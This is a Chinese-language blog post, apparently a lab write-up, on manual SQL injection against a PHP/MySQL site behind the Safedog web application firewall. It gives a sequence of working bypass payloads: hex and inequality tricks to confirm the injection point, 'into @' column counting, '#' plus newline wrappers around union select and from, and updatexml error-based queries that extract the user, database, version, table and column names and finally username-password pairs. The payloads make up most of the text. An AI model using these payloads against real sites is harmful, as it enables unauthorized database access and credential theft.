sql注入全方位绕过安全狗

版本环境

PHP:5.6.9

mysql:8.0.12

安全狗:V4.0.23137

apache:2.4.39

手工注入步骤拆解

通过手工注入验证注入点,直到查出表名、列名、字段名,最后爆出数据。

and判断注入点

首先按照常规的判断注入点的方式1' and 1=1--+一点一点输入,刚开始安全狗不拦截,直到1' and后面再输入字符就会拦截。

image-20220414133442158

再把后面一位fuzz一下,发现用十六进制安全狗不拦截。此时payload为1' and 0x3a

image-20220414170130436

那就继续尝试1' and 0x3a=0x3a,被拦截了

image-20220414170158176

换不等号试试,可以绕过

image-20220414170259411

image-20220414170317990

所以最终payload为1' and 0x3a!=1--+当然这里的0x3a可以替换为任意的十六进制字符串

order by获取字段个数

用常见的payload 1' order by 4--+获取字段数会被安全狗拦截

image-20220415101651580

改用into+变量的方式绕过,在三个变量的时候页面没有显示

image-20220415101751411

在4个变量的时候页面报错了,说明该表的字段数为3个

image-20220415101810659

当然不输入变量名也可以,会让payload更简洁

image-20220415102031203

payload:

1’ into @a,@b,@c,@d–+

1’ into @,@,@,@–+

union select绕过

这里的规则挺强的,猜测union select之间加入任何字符都会被拦截,经过fuzz测试发现加入井号#不会被拦截,而是报错,锚点这个特性应该是个突破口

这里参考了一下pureqh师傅的order by绕过姿势SQL注入bypass最新版安全狗,顺便简化了一下,直接给payload

1’regexp”%23”union%0aselect 1,2,3–+

image-20220415112442248

那么同理把正则匹配的函数换了一下应该也行,换成like确实也可以

1’like”%23”union%0aselect 1,2,3–+

image-20220415112459500

报错注入获取数据库名

先放一个经典报错注入payload,毫无疑问直接被拦截了

1’ and(updatexml(1,concat(0x7e,(select user()),0x7e),1))–+

还是一点一点测试,1' and(updatexml(不会拦截,但1%27%20and(updatexml()就会被拦截,说明规则检测了updatexml后面不能跟一对完整的括号()。虽然在括号里输入一些字符也不会拦截,但只要输入满3个变量安全狗还是会拦截,说明并没有完全绕过。于是还是同样的方法,用井号+换行符绕过函数后面跟括号的这个规则。

1’like”%23”and(updatexml(1,%0a1,1))–+

image-20220415124323891

接下来的问题就是要让它报错来显示当前用户名(显示数据库名同理)。把中间的字符串直接替换成select user()还是被拦截了。估计也是函数名后面跟一对括号就会被拦截的问题。ok没事,继续构造。首先我们知道函数名和括号直接可以加空格也可以正常执行,所以在这之间加入/*like"%23"*/%0a,一个注释加一个换行符,其实就相当于一个空格来把user和()间隔开。成功绕过,得到了当前用户名,最终payload

1’like”%23”and(updatexml(1,(select user/*like”%23”*/%0a()),1))–+

image-20220415125535140

显示数据库的时候没有显示出来,对着经典报错注入payload稍微修改了下就好了

1%27like”%23”and(updatexml(1,concat(0x7e,(select%0adatabase/*like”%23”*/%0a()),0x7e),1))–+

image-20220415130333594

显示数据库版本也是同理

1%27like”%23”and(updatexml(1,concat(0x7e,(select%0aversion/*like”%23”*/%0a()),0x7e),1))–+

image-20220415130358652

获取表名

有了数据库名之后,获取当前数据库中的表名,依旧是一点点绕过。尝试到1'like"%23"union%0aselect 1,(select group_concat(table_name) from后面无论加什么字符都会被拦截了

image-20220417170142102

尝试把”from“的“m”删除,发现可以通过,说明这里匹配了from后面的任何字符。继续尝试用井号绕过。

image-20220417170155815

1’like”%23”union%0aselect 1,(select group_concat(table_name) from/*%23*/information_schema.tables where table_schema=database%0a()),3–+

image-20220423122804456

获取字段名

1’like”%23”union%0aselect 1,(select group_concat(column_name) from/*%23*/information_schema.columns where table_name=%0a’users’),3–+

image-20220423172052415

获取字段值

根据刚刚的测试,只要from后面跟一个空格再加一个字符,就会触发拦截。说明from这里有强检测。用井号和换行符将from包裹起来即可。

1’like”%23”union%0aselect 1,group_concat(username,’-‘,password),3/*%23*/from%0ausers–+

image-20220423172855533

总结

  1. 在安全狗有强检测关键字的地方,可以用井号和换行符的组合绕过。并且可以将井号包含在注释符中,/*%23*/这样就相当于一个空格,而不影响整个sql语句的执行。而%0a换行符本身就相当于一个空格,就不需要包含在注释符里了
  2. 井号其实是html的锚点功能,如果安全狗将其拦截,会对业务有很大的影响。在安全与业务冲突时,安全也得给业务让道,所以安全与业务产生冲突的边界恰恰是最薄弱的地方

sql注入全方位绕过安全狗
https://wanf3ng.github.io/2022/04/13/sql注入全方位绕过安全狗/
作者
wanf3ng
发布于
2022年4月13日
许可协议